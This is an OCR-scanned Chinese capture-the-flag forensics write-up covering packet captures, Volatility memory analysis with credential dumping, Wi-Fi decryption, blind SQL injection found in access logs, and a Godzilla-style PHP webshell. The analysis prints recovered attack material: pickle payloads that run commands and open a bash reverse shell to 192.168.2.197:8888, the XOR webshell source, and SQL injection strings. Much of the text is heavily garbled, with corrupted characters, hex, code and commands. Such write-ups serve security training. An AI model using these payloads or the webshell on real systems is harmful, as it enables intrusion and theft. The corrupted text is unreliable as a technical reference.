18224 60.573682604 172.18.0.1 172.18.0.125 uop 78 BBE8 - 42277 Len=36
18225 60.573696435 172.18.0.125 172.18.0.1 uop 94 42277 - 8888 Len=52
18226 60.573714982 172.18.0.1 172.18.0.125 uoP 78 8888 - 42277 Len=36
18227 6@.573728420 172.18.8.125 172.18.0.1 uoe 94 42277 - 8888 Len=52
18228 60.573747851 172.18.0.1 172.18.0.125 uoe 78 BB8E - 42277 Len=36
18229 60.573761082 172.18.0.125 172.18.0.1 uopP 94 42277 - 8888 Len=52
18230 60.573780119 172.18.0.1 172.18.0.125 uop 78 BB88 - 42277 Len=36

[Timestamps)
[Time since first frame: ©.00€
[Time since previous fr

UDP payload (52 bytes}

L 1L al 14 F
) 7 2 - @ 50 30 35 3d 19 @0 %< X-PBS= -
0090902325611‘)!}&3 c6 62 20 9@ 0@ 0@ 75 55 .o ve iy enalfl
31 76 55 4b 63 53 7a 75 43 63 46 36 6d 79 6c 4e  1vUKcSzu CcFémylN
7@ 4e 54 50 6f 50 6e 67 52 50 35 47 37 74 pNTPoPng RP5GTt

5.2

[ EH#R]
B HE A2 1E AR ==DtX0GScM9dwrgzht == .

[#fENE]
5.3

[ H #ik]
Wi FriEH I C&C IR G 23 IP R ==147.182.251.98 == .

[HBENE]
% =1aiphI4147.182.251.98 (udp.stream eq 85)

6 W7 HT
6.1



(7 E ik ]

REFAL Y 25 A 2 flag{W31COM3 TO THiS 34SY FOR3NSICX} o CERGH Afagiood, &H S, RAANAESE
D
[HBENE]

X ELAT DA B TR B W flsadump tB AT BL 22 3 mimikatzidi {4 3K B

[06FRFHHT] volatility -f Target.vmem --profile=Win7SP1x64 mimikatz
Volatility Foundation Volatility Framework 2.6.1

Module User Domain Password

wdig CTF WIN-QUNSRVOOF27 flag&#12
wdigest WIN-QUN5RVOOF27% WORKGROUP
5%r] volatility -f Target.vmem --profile=Win7SP1x64 lsadump

Volatility Foundation Volatility Framework 2.6.1
DefaultPassword
0x00000000 48 00 00 00 PO 00 0O 00 00 00 00 0O e
xBenere10 6 B0 6c 00 61 B8 ¢ h 9@ 57 08

00 30 00 4d 33 00 20 00 54 00 3
Ox0000003e 4 00 00 69 20 90 33 08
xBerere4a ) 00 20 08 30 90 52 90 33 00 /
0x00000050 69 00 00 00 00 00 00 00

DPAPI_SYSTEM
%0

0x00000020 9a 66 a: E L : LT J I P
OxPPPeRB3® 56 59 5 : ed - 3 5 V.YhSCSDNWERRISIEF, . .

6.2
RN FE — DM TR &0, XHRRE R BRFEREN flag{TH4NK YOU FOR DECRYPTING MY
DATA} o (RENREPREMI E—BERTlagli KA E#IT A, ABKEABElaghod, SHEH, RIRA

BHEED



[#ENE]

volatility -f Target.vmem --profile=Win7SP1x64 filescan |grep CTF
Volatility Foundation Volatility Framework 2.6.1

OxPORERRROT7fc68ale 16 @ -W-r-- \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWEI
P40 2021-aa-bb xx.yy.zz\info.xml

AxPRORRRRAT7Td3ct20 2 2 RW-rwd \Device\HarddiskVolumel\Users\CTF\AppData\lLocal
\Microsoft\Windows\Explorer\thumbcache 1024.db

PxPRORRRRAT7Td3df20 2 2 RW-rwd \Device\HarddiskVolumel\Users\CTF\AppData\lLocal
\Microsoft\Windows\Explorer\thumbcache 256.db

IxPRORRRRATTd3ef20 2 2 RW-rwd \Device\HarddiskVolumel\Users\CTF\AppData\lLocal
\Microsoft\Windows\Explorer\thumbcache 96.db

Ix0000RBRRT7dc2700 2 2 RW-rwd \Device\HarddiskVolumel\Users\CTF\AppData\Local
\Microsoft\Windows\Explorer\thumbcache sr.db

OxP0RRRBROT/fe/2070 1 1 RW-rwd \Device\HarddiskVolumel\Users\CTF\AppData\lLocal
\Microsoft\Windows\Explorer\thumbcache idx.db

OxPORERRROTTe72430 P @ -W-r-- \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWEI
P40 2021-aa-bb xx.yy.zz\picture\storage\MediaTar\images\images@.tar.enc
OxP0RERBROT7feabbcd 16 @ -W-r-- \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWEI

P40 2021-aa-bb xx.yy.zz\picture.xml CSDN @{BsRiySEEE, . .

X B s ffilescant3 #iCTF F 7 B30, RBL T S NPA0R) 2 43 SCIF

volatility -f Target.vmem --profile=Win7SP1x64 filescan |grep HUAWEI

Volatility Foundation Volatility Framework 2.6.1

xRV 7/dac/d1e 4 @ R--r-d \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWETI
P40 2021-aa-bb xx.yy.zz.exe

x0T el164cCO 12 @ R--r-- \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWET
P40 2021-aa-bb xx.yy.zz.exe

0x000000007elelacd 16 \Device\HarddiskVolumel\Windows\Prefetch\HUAWEI
P4@ 2021-AA-BB XX.YY.Z-6DC73FF4.pf

AxPPRCVRRRT7eedd6bl 2 @ -W-r-- \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWET
P40 2021-aa-bb xx.yy.zz\alarm.db

x0T fc68al0 16 @ -W-r-- \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWET
P40 2821-aa-bb xx.yy.zz\info.xml

Ix0P0BBRRTe72430 P ® -W-r-- \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWEI
P40 2@21-aa-bb xx.yy.zz\picture\storage\MediaTar\images\images®.tar.enc
Ix0P0BBRR7feabbcBd 16 ® -W-r-- \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWEI
P40 2@21-aa-bb xx.yy.zz\picture.xml

[06RTFSHT] volatility -f Target.vmem --profile=Win7SP1x64 dumpfiles -Q ©x000000007d8c7d10
--dump-dir=./

Volatility Foundation Volatility Framework 2.6.1

ImageSectionObject ©x7d8c7d1® None  \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWEI
P40 2021-aa-bb xx.yy.zz.exe

DataSectionObject @x7d8c7d1® None  \Device\HarddiskVolumel\Users\CTF\Desktop\HUAWEI

P40 _2021-aa-bb xx.yy.zz.exe CSDN @{EsmiyS L, . .




TFRIBAENZ S dump SR, IR BT DLE B datscf B8 &40 S0 =@ s Hiok, FFI A T A kobackupdec

python3 kobackupdec.py -vvv W31COM3 T@ THiS 34SY FOR3NSiCX HUAWEI\ P4@ 2021-aa-bb\ xx.yy.zz

./bb

Bi ] 3R E flag

flag{TH4NK YOU FOR DECRYPTING MY DATA}

7 B H S
7.1

(7B ik ]
RELHSHR_user (WEFEHEEMMER/NE)

[#ENZE]
1. B HEXME P RBUI40400% B L8, RITIREER, BBEBWT:

43: "GET /?user=STAKcDAKMFMnd2hvYW1pJwpwMQowKGewCmxwMgowk EkwCnRuMwowKGczCkkwCmRwNAowY292CnN5c 3R1bQpwhNQowZzUKKGexCnRSLg== HTTP/1.1" 508 -
127.8.8.1 - - [87/Aug/2021 10:43: “GET /?user=STAKcDAKMFMNY2F@ICSUaDRzX81TX1ZFUL1fSW1wb3IeXeZpMNUNCnAXCIA0Z ZAKbHAY CAOSTAKAHAZCJADZZMKSTAKZHABC B b3MKc312dGVtCNALCI BnNQoozZzZEKdFIu HTTP/1.1" 580 -
127.8.8.1 - - [@7/Aug/2021 18:43: “GET /?user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvVZGV2L3RjcC8x0TIUMTY4LIIUMTK3LZg40DggMDAmMS cKcDEKMChnMAps cDIKMChIMAP@CDMKMC hnMwpIMApk cDQKMGNvCWpzeXNeZWoKcDUKMGC1CihnMQpeUid= HTTP/1.1" 560 -

127.8.8.1 - - [07/Aug/2021 18:43

2. WHEBEAHT O, BURERER TS Auser, T EFR:

"GET /?user=ST/KcDAKMFMnd2hvYW1pJlwpwMQowKGewCmxwMgowKEkwCnRwMwowKGeczCkkwCmRWNAowY29zCnN5¢3R1bQpwNQowZ
"GET /?user=ST/KcDAKMFMnY2F@IC9UaDRzX@1TX1ZFUllfSWilwb3JeXeZpMWUnCnAXCjAoZzAKbHAYCjA0STAKdHAZCjA0ZZMK

"GET /?user=ST/KcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8XOTIUMTY4L]jIuMTk3Lzg40DggMD4mMScKcDEKMChnMAps cDI]

7.2

[&E#iR]
EEBFEFE S R45T B &2 Mhds_IS_VERY Import_File .

[#IENAE]
1. B HEME P RBUI40480%% B L8, RITIREER, BESWT:

127.0.0.1 - - [@07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnd2hvYW1p)wpwMQowKGcwCmxwMgowk EkwCnRwMwowKGczCkkwCmRwNAOWY292CnNS<c3R1bQPWNQOWZZUKKGCXCnRSLg== HTTP/1.1" 5@0 -
127.8.0.1 - - /i / "GET /?user=STAKcDAKMFMnY2F@ICSUaDRzXe1TX1ZFUllfSWlwb3]eXeZpMWUnCnAxCjAoZzAKbHAYCjA0STAKdHAZC]A0ZZMKSTAKZHABC jBjb3MK c31zdGVECnA1CiBnNQooZZEKdFIu HTTP/1.1" 580 -
127.0.0.1

]
.1 - - [@7/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3R]cCBXOTIUMTY4LFIUMTK3LZg400ggMD4mMScKcDEKMChnMAPScDIKMCh IMAP@CDMKMC hnMwp IMAPK cDQKMGNVcwpzeXNOZWOKcDUKMGE1CihnMQpeUid= HTTP/1.1" 500 -




2. REget MKISH, SRWT:

STAKcDAKMFMnd 2hvYW1p JwpwMQowKGcwCmxwMgowK EkwCnRwMwowKGez CkkwCmRwNAowY29zCnN5c3R1bQpwNQowZzUKKGexCnRSLg==

STAKcDAKMFMnY 2F@IC9UaDRzX81TX1Z FUL1fSWiwb3J0XeZpMWUNCnAXCjAoZzAKbHAYCjA0STAKdHAZC jA0Z ZMKSTAKZHABC jBb3MKc31zdGVECnALCiBNNQooZZEKAFIu

STAKCDAKMFMnYmFzaCAtaSA+JiAvZGV2L3R]cC8XOTIuMTY4LIuMTk3 Lzg40DggMD4mMS cKcDEKMChnMAps cDIKMChIMAp@cDMKMChnMwpIMApkcDQKMGNYcwpzeXNOZWOKcDUKMGe1CihnMQpeUid=

3. KIRE B S HB A burpsuititiTbase64f#iY, ZRINT:

IO
po
0S 'whoami'

CSDN @fEsRAISHEET. . »




po
0S'cat /Th4s_IS_VERY_Import_File'

system
p5

og5s
(g1
14

Rl SR 45 %) 4% . /Thds_IS_VERY_Import_Fite.
7.3

[EE#iR]
B2 HshellfThipfiG & 192.168.2.197:8888 (k&= A "ip: ¥ H", #140127.0.0.1: 2333)



[HERZE]
ST 23REBIRE B, BT R PR Bshellfip AT 2. 192.168.2.197:8888.

10
pe
@S'bash -i >& /dev/tcp/192.168.2.197/8888 ©>&1"

system

p5

eg5

(g1

tR. 2 '-"-!-'f:@ gmf %%ﬁ]ﬁ?

8 SQLIEA
8.1

(7 E ik ]
REEEALEPRAKEATEN_MREE_. BRANF, FlmsHEsa"

[#ENZE]
MRIEENRAER RN R EE .

GET findexphpid Hrucs - Sipbrorradtinformation sthema tasin
G

0o Oriermates schern Labie)
0 1chaema tabi]]

e
20 g
ey SR w0 e

1 [t RIS M el

8.2

[EH#iR]
HEEEANDTES, REAFRlagMBUREEL . BLNFELR_ sqlifflaghilag . GER AL ELH#RBHTBEL

database#tableffcolumn)

» Bl



[HBENE]
WRIEHESHT, KEBNag k8 E L #R #T B R0 H N “sqli#tflag#iiag”.

"GET /index.php?id=1%208and%20if (substr((select%2eflagh20from%26sqli.flag),43,1)%20=%20"'2",1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 206 427 "-"

"GET /index.php?id:l%zeand%zeif(substr((select%ze}laQ_ﬁémfram%zesqli.fla_g_).43,1)%20-:“/.29'1',1,(select%zetableﬁname%zefrom%zainfor‘mationischema.tables)) HTTP/1.1" 200 426 "-"

"GET /index.php?id=1%2@and%2@if(substr((select%2efla OFr'om%Zesqli.jflag),43,1)%2 %20'0"',1, (select¥%2@table_name%20from%2@information_schema.tables)) HTTP/1. 200 426

"GET /index.php?id=1%2@and%20if(substr‘((select%ZG“Flagﬁ!Z@‘Fmm%zﬁsqli.¥lag),43,1)%28=%26'/',1,(select%Zatableiname%zefrom%zﬂim‘urmationischema.tables)) HTTP/1.1" 200 426 "-"
"GET /index.php?id:l%zeand%ZOiF(substr((select%l@@&@ﬁmm%lﬂsqli.‘ﬁiag);4311)%2 %20'."',1, (select¥%2@table_name%2@from¥%2@information_schema.tables)) HTTP/1.1" 280 426

"GET /index.php?id=1%20and%20:if(substr‘((select?’éZGTagfszefrum%zesqli.fTag),43,1)%29=%29'7',1,(select%ZGtable_name%l@frcm%minfcr‘mation_schema,tables)) HTTP/1.1" 200 426 "-"
"GET /index.php?id=1%208and%20if (substr((select%2eflagh20from%20sqli.fflag),43,1)%20=%20",",1, (select%20table_name%2@from%20@information_schema.tables)) HTTP/1.1" 200 426 "-"

"GET /index.php?id=1%2@and%20@if (substr((select%2eflagh2efrom%2@sqli .¥1a_g) ,43,1)%20=%20"+",1, (select%2@table_name%20from%20information_schema.tablesDNHERGARE =R2ERTS

8.3

[&E#iR]
BEEEFRBBIlagFf 8~ flag{deddcd67-befd-487e-b940-1217e668c7db} -

[#IENE]
JidEN:
1. RI\EA/REERRE, Kaccesslog X ZRKIBIER LR, RBTAMARKNEIERE, WTEFR:

( (select¥%20column_name%2@from%2@information_schema.columns%2@where%2@table_name='flag'%28and%20table_schema="sqli'),1,1)%28=%20"'f"',1, (sele
(select%20column_name%20from%2@information_schema.columns%26where%2etable_name='flag'%20and%2@table_schema="'sqli'),2,1)%20=%20'1"',1, (sele
((select%20column_name%2@from%2@information_schema.columns¥%2ewhere%2@table_name='flag'%20and%20table_schema="sqli'),3,1)%26=%20"'a"',1, (sele
((select%20column_name%20from%20information_schema.columns%2ewhere%20table_name='flag'%20and%2@table_schema="'sqli'),4,1)%20=%20'g"',1, (sele
((select%20@column_name%2@from%2@information_schema.columns%2@where%20table_name='flag'%20and%2@table_schema="'sqli'),5,1)%20=%20"'+"',1, (sele
((select%20flagk2ofrom¥%20sqli.flag),1,1)%20=%20"'f',1, (select¥%20table_name%20from%20information_schema.tables)) HTTP/1.1" 260 480 "-"
(select%20flagk20from%2@sqli.flag),2,1)%20=%20"'1",1, (select%2@table_name%20from%2@information_schema.tables)) HTTP/1.1" 26 481 "-"
((select%20flagk20from%2@sqli.flag),3,1)%20=%20"'a"',1, (select%20table_name%20from%2@information_schema.tables)) HTTP/1.1" 26 481 "-"
((select%20flagk2ofrom%2@sqli.flag) ,4,1)%20=%28"'g"',1, (select%20@table_name%2efrom%2einformation_schema.tables)) HTTP/1.1" 26 481 "-"
((select%20flagk20from¥%20sqli.flag),5,1)%20=%20"'%7B", 1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 481 "-
((select%20flagk20from¥%20sqli.flag),6,1)%20=%208"'d",1, (select%2@table_name%2efrom%20information_schema.tables)) HTTP/1.1" 20 482 "-"
(select%2eflagk2efrom¥%20sqli.flag),7,1)%20=%20"'e",1, (select%2@table_name%2@from%20information_schema.tables)) HTTP/1.1" 20e 482 "-"
((select%20flagk20from¥%20sqli.flag),8,1)%20=%28"'d",1, (select%2@table_name%28from%2@information_schema.tables)) HTTP/1.1" 2@ 481 "-"
(select%20flagk20from¥%20sqli.flag),9,1)%26=%26"'d",1, (select%2@table_name%2@from%2@information_schema.tables)) HTTP/1.1" 2@ 482 "-"
(select%20flagk20from%20sqli.flag),10,1)%20=%20"'c"',1, (select%20table_name%2@from%2@information_schema.tables)) HTTP/1.1" 200 479 "-"
(select¥%20flagh2efrom¥%20sqli.flag),11,1)%20=%20"'d",1, (select%20table_name%20from%2@information_schema.tables)) HTTP/1.1" 2@ 479 "-"
((select%20flagk20from%2@sqli.flag),12,1)%20=%20"'6",1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 480 "-"
((select%20flagk20from%20sqli.flag),13,1)%20=%20"'7",1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 486 "-"
(select%2@flagk2efrom%20sqli.flag) ,14,1)%20=%20"-",1, (select%20table_name%20from%2@0information_schema.tables)) HTTP/1.1" 200 479 "-"
(select%20flagk20from%20sqli.flag),15,1)%20=%20'b",1, (select%20table_name%2@from%2@information_schema.tables)) HTTP/1.1" 200 479 "-"
((select%20flagk20from%2@sqli.flag),16,1)%20=%20"'c"',1, (select¥%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 479 "-"
((select%20flagk20from%20sqli.flag),17,1)%20=%20"f"',1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 481 "-"
((select%20flagk20from%20sqli.flag),18,1)%20=%20"d"',1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 480 "-"
(select%2eflagk2efrom%20sqli.flag),19,1)%20=%20"-"',1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 486 "-"
(select%2eflagk2efrom%20sqli.flag) ,20,1)%20=%20"'4"',1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 479 "-"
((select%2@flagk2efrom%20sqli.flag),21,1)%20=%20"'8"',1, (select%20table_name%20from%2@information_schema.tables)) HTTP/1.1" 200 480 "-"
((select%20flagk2efrom¥%2@sqli.flag),22,1)%20=%20"7",1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 486 "-"
((select%20flagk2efrom¥%20sqli.flag),23,1)%20=%28"e",1, (select%20table_name%20from%2@information_schema.tables)) HTTP/1.1" 2@@ 479 "-"
((select%20flagk20from¥%20sqli.flag) ,24,1)%20=%20"-",1, (select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 2@ 486 "-"
select%20flag%20from%20sqli.flag),25,1)%28=%20"'b",1, (select%20table name%26from¥%2@information_schema. HTTP /6 DI @GRy goilic .




2. IR R % B A burpsuitBE 4T urlffry, Z5BnTF:

flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag
flag

sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.
sqli.

sqli.

flag),1,1)

flag),2,1)

flag),3,1)

flag),4,1)

flag),5,1)

flag),6,1)

flag),7,1)

flag),8,1)

flag),9,1)

flag),10,1)
flag),11,1)
flag),12,1)
flag),13,1)
flag),14,1)
flag),15,1)
flag),16,1)
flag),17,1)
flag),18,1)
flag),19,1)
flag),20,1)
flag),21,1)
flag),22,1)
flag),23,1)
flag),24,1)
flag),25,1)
flag),26,1)
flag),27,1)
flag),28,1)
flag),29,1)
flag),30,1)
flag),31,1)
flag),32,1)

nnu

'£',1, (select

'l1',1, (select

'a',1, (select

'g',1, (select

"{',1, (select

'd',1, (select

'e',1, (select

'd',1, (select

'd',1, (select

'c',1,(select
'd',1,(select
'6',1,(select
'7',1,(select
'-',1,(select
'b',1,(select
‘e’ 1. (salack
'£',1,(select
'd',1,(select
'=',1,(select
'4',1,(select
'8',1,(select
'7',1,(select
'e',1,(select
'-',1,(select
'b',1,(select
'9',1,(select
'4',1,(select
'9',1,(select
'-',1,(select
'1',1,(select
22 1 . (salacE
'1',1,(select

L]
4
L)

table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table_name
table name
table_name

table name
CSDN-@ RS

3. Wik, mIh3REEflagffi{Eflag{deddcd67-bcfd-487e-b940-1217e668c7db}.

Jrik2: IENILED

B S HES . 2



import re

from urllib.parse import unquote

file name

pattern_string

flag

get_File (file_name,

get_line get_File.readline()

while get_line:

get_Data re.search(pattern_string, get_line)
if get_Data:

get_Data_Num re.search( , get_Data.string)

if get_Data_Num:
flag (re.findall( , get_Data_Num.string))[0]
print(unquote(flag[:-1],
get_line = get_File.readline()
get_File.close()

9 wifi

9.1

[EE#iR]

/NE A upload-labs ARG 54T T cat flag, flag& R flag{5db5b7b0bb74babb66e1522f3a6b1b12} . (&

HUEAREFLNRR, &FEIINSINERES)

[BERZE]
437 Bk 4% pcapng3REX1.php



4 1.php

@session_start();
@set_time_limit(0);
@error_reporting(@);
function encode($D, $K){
for($i=0;%i<
tc = $K[$i+18&15]:
$D[$i] = $D[$1i]"%c;

1
L

return $D;

ay loadName="'payload';

y="'3c6e@bBa%¢c15224a’;
)

e

o 5

[

f (isset($_POST[$pass]
$data=encode(base64_decode($_POST [$pass]), $key)) ;
if (isset($_SESSION[$payloadName])){ e
/load=encode ($_SESSION [$payloadName], $key) ;

v
)1

=

($payload);

substr(md5($pass. $key|) ,0,16); e
base64_encode(encode(@run($data), $key) ) ;

substr(md5($pas ! I

CSDN @fEsefIBTETF, . »

Ode mERNE Re>2ETF E qaqqaqm

| Time | Source | Destination | Protacol | Length | Info

0.000000 EtekTech_9c: - 802,
.000072 EtekTech_9c: . 802, c
. 040256 HuaweiDe_4c:55: Broadcast 802. , BI=100, SSID=My_Wifi
.057920 HuaweiDe_4c:55: ITTIMTec_5a: 802. , BI=100, SSID=My Wifi
.064629 NewH3CTe_8a: - 802, Acknowledgement, Flags=..
.080396 EtekTech_9c: - 802, Acknowledgement, Flags=..
.084444 HuaweiDe_4c:55: ITTIMTec_5a:c9: 802. Probe Response, SN=1911, BI=10@, SSID=My Wifi
.097230 EtekTech_9 .. 802. Acknowledgement, Flags=.. .
.155755 HuaweiDe_4c:55: ca:9a:3d:4a: 802. Probe Response, SN=1911, BI=108, SSID=My Wifi
.206791 XiamenFo_@c: - 802, Acknowledgement, Flags= o
.230396 NewH3CTe_8a: - 802, Acknowledgement, Flags=
.667327 EtekTech_9c:af: . 802.
.668945 HuaweiDe_4c:55: 0a:3d:11:88:a0: 802. Probe Response, SN=1911, BI=108, SSID=My_Wifi
.670611 HuaweiDe_4c:55: - 802. Acknowledgement, Flags=........
.678539 EtekTech_O9c:af: - 802,
.692950 HuaweiDe_4c:55: 6e:4f:af:62:06: 802. Probe Response, SN=1911, BI=100, SSID=My Wifi
068769 HuaweiDe_4c:55: Google_7f:b2:1d 802. Probe Response, SN=1911, FN=@, BI=100, SSID=My Wifi
.133534 XiamenFo_Bc:7a:e@ .. 802. Acknowledgement, Flags=....sass
.135595 NewH3CTe_B8a:45:38 .. 802. Acknowledgement, Flags=
.139243 XiamenFo_@c:7a:e® .. 802. Acknowledgement, Flags=..

146470 iauind “EE. Cnannla 26:02:28 o7 Drnha Dacnnnca CN—1011  EA-0 CETN—Mu Wi £i

20210923170911 CSDN @EBEHI BT s |




X NFRAT T (BEE, FHadmin, ESMNRIMywifi.zip)

£ i FEEEAN EXEE k= ) hiEETiE Bt mE EE CRC Eix ¥
| MR- My Wifi.... 671 350 2021-07-18 0. 2021-07-180.. 2021-07-180... RA + 9BEDSFB5 ZipCrypto De.. M
s - o X
ol 671
ESEAD 350
prd 0
i 1
CRC 9BEDSFBS
iz S Mywifi zip
F--v.l] 2ip
&5 AR S TIME
B 642
B 3454
e3¢ password is Network Adapter GUID

RERBFE-DIHEMRT

MK GUID MEEOLEE R EN, win7MwifiFBmFRTECc: \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces[MFGuid]

=

WRAEIX R, HLWnr DEH 4

KRG Heverything &2 — T, HibiX B EHE# Rinterface.

-f Windows ddelofad Mmem -—-profile=Win7SP1x86_23418 filescanl Interfoce = —
Volatility Foundation Volatility Frameworki#2.6c.1 2 - = .
0x000000001c7ec5c8 2 Rﬂr‘wd"\Device H.a__rddqsk)llolume_‘L\Progr‘amData"‘-Micr'osoFt\Wl-un' \ N > {529B7D2A-05D1-4F21-AQ01-8F4FF817FC3A}
0x0@00001f78f4b0 2 R--rwd ADevice\HayddiskVo}lumel\ProgramBata\Microsof t\Wlansv 3EN 7 —>
@x P003fa921c8 2 R==rwd \Device\HarddiskVolumel\ProggamData\Microsoft\Wlansvc\Prof es\In es\{529B7D2A-0Q5D1-4F21-AQ01-8F4FF817F

0x000000003fda8bed R--rwd \Device\Ha rddis \(Vo_'Lume1‘\Progr'amData‘x.MLgm_oscFt‘\Wlansv

fREZ JE I FExml, BEFEEWRREE




{58 BT it F,

P Lk T DA wifi i

10, SSID=My Wifi

:ﬁ“p IEEE 802.11 wireless LAN ® U8 ELE LGS

HNBAP v Reassemble fragmented 802.11 datagrams P [ Key

HP_ERM Ignore vendor-specific HT elements wpa-pwd  233@114514_qwe:My_Wifi
HPFEEDS + Call subdissector for retransmitted 802.11 fram

HSMS Assume packets have FCS

il Validate the FCS checksum if possible
HTTP

HTTP2 Ignore the Protection bit

IAPP ® No

IAX2 Yes - without IV

IB Yes - with IV

ICAP Enable WPA Key MIC Length override
ICEP
ICMP
ICP + Enable decryption

IcQ

IEC 60870-5-... Decryption keys Edit...
IEC 60870-5-...

IEEE 802.11

IEEE 802.15.4

IEEE 802.1AH

WPA Key MIC Length override 0

Cancel oK

R B HE T,

XE WA DMEA I T <

o
airdecap-ng -e My _Wifi -p 233@114514_qwe ZFif%.cap

R Ja T CAIRE hn R [ 45 B B RN E SRR T, MTHHRERERET, SHXE:

https
https




& @ s php_xor_b64.php

e php_xor_bé4 php

), $K)
($i=0;%1i (iD)
K[$i ]
D[$1i] " sc

C
D[$i)

D
}
pass
payloadName
key -
( ($_POST[fpass) )N
data ( (5 _POST[ipass]), tkey)
( ($_SESSION[SpayloadName])){
payload ($_SESSION[ ipayloadName], tkey)
(ipayload)
( (ipass. Skey), )
( ( ($data), tkey))
(md5($pass. Skey), 16)
{

( ($data ' ) M
_SESSION[ {payloadName] (idata, tkey)

WHE L SCER BUAIE (W FPHP_XOR_BASE64N% 77 3ok, BIE&MINT16MKREFR) » FTURINEIINREE
S MBRRT 166705 1600 F47F, BT Godzillafi & AT —ANgzipE4E, F k& IMNE & E Fgzdecodei#t 17— IR gAY .
B AR 11985 H 5 A KAk 3K Bt flag



R |ipaddr==42.192.84.152&&hiip

No. Time | Source | Destination | Protocol | Length

88.701819 .192.84. 5 5 (text/css)
88.858105 . .84. .168.8. . (application/javascript)
nt] HTTP/1.1 K

6851 89.000968 .192.84, .168.8. .1 200 0K (application/javascript)
6693 89.068787 .192.84, .168.8. .1 208 0K (application/javascript)
6114 89.111924 .192.84. .168.8. 58200 [ACK] Seq=23461 Ack=381 Win=38336 Len=1380
6194 89.441471 .192.84, .168.8. .1 268 0K (PNG)
6865 101.338056 .192.84, .168.8. .1 200 0K (text/html)
7318 118.512528 .192.84. .168.8. .1 200 0K (text/html)
[ nent]
7944 138.573222
7966 138. 636468
7995 138.821202

» Frame 7995: 388 bytes on wire (3104 bits), 388 bytes captured (3184 bits)

» IEEE 802.11 QoS Data, Flags: .p....F.

» Logical-Link Control

» Internet Protocol Version 4, Src: 42.192.84.152, Dst: 2.168.8.102

» Transmission Control Protocol, Src Port: Dst Port: 58210, Seq: 2199, Ack: 35565, Len: 298
» [2 Reassembled TCP Segments (1678 bytes): #7991(1380), #7995(298)]

[} Hypertext Transfer Protocol
v Line-based text data: text/html (1 lines)

[truncated] 72a9c691ccdaab88 fL1tMGIAYTL M LBmb1uLC3NLqp/qjE6C8XjXcnncejHZIcwEBuiBkhEAedCyg+/e1qt zyonXWdj 167I6APLIP3//PmParcTHztqi1679] fNQaZEqggcTeby PRV]BEL fnEdTo0W6EgX/Sv7@RydPuTzDy@MY3d3uEytDLZMnad tqYXouUS3nygrs...

6d 0a 37 32 61 39 31 63 63 64 61 61 62 72a9c6 91ccdaab
39 38 66 4c 31 49 34 59 54 6¢c 6a 4d 6c  98fLItMG I4YTLjML
42 6d 62 31 75 de 4c 71 70 2f 71 6a 45 BmblulLC3 NLgp/qjE

6e 63 8 63  6C8XjXcn ncejHZIc

20210924103539

L
<?php
function encode($D, $K)&#123
for($i=0;$i<strlen($D);$i++)8&#123;
$c = $K[$i+1&15];
$D[$i] = $D[$i]"%c;
&#125;
return
&#125;

$pass="pass’;

$payloadName="payload";
$key="3c6e0b8a9cl15224a";
echo

gzdecode(encode(base64_decode( ' fL1tMGI4YT1jMn75e3j0BS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCieFfgB+B1

>
2> ERAIVBINES, .

165 X B B 72 47 3k B flag flag{5db5b7b0bb74babb66e1522f3a6b1b12}



RERGE—NERRMEBRTR, BCHRERNARDER T, REXEEEHRITT

Url:http://10.211.55.3/1.php & W #i#:PhpDynamicPayload H##3:PHP_XOR_BASE6G4
EMEE SIHRIT IHEE 2 RIEFEEE 2 MHSBiEW %L PMeterpreter  ByPassOpenBasedir PZip  fB#4T  BypassDisableFunctions

CSDN @fE@rmsinEsF, . .

[FE#R]
EE I C&CIRS RIPE  3.128.156.159 .



[#EERE]
BRFMEHRHITCPIRL, RITEFEISANTCPIRF RKIFAIE, & BMGitHubH T Tios_agent/5 1 1/2F, W T EFR:

JLIDOR cccssscsscs sssssssEss SEEEEEESES SESEESEEEE SEEEESEEES OUR 4Gb/K IS

20K cussanssss snsamansns sresasenns sasaszasas ssenamanes GBI IBIK 23

o et e e Bl e 83X 438K 2s

3300K ..... R o N o S n e N e R sns wesssnenss D 350K 25

B I m i e e e o 85X 428K 2s

JADON: «ocncininn nanuniasas dinaisteans EASEEVALAS AssuAmAEen 86% 248K 1s

el i e T e e o 88% 621K 1s

S e S T T T I T DL 89% 388K 1s

o e e Bl e e T e Tt e 99X 422K 1s

JOBBK: ciiaiinia aanihi e AR ERREES TR RNETA Y AL 92% 411K 1s

B T Y e e o et s ssmEmusnee meanusasse 3k SJMK 1%

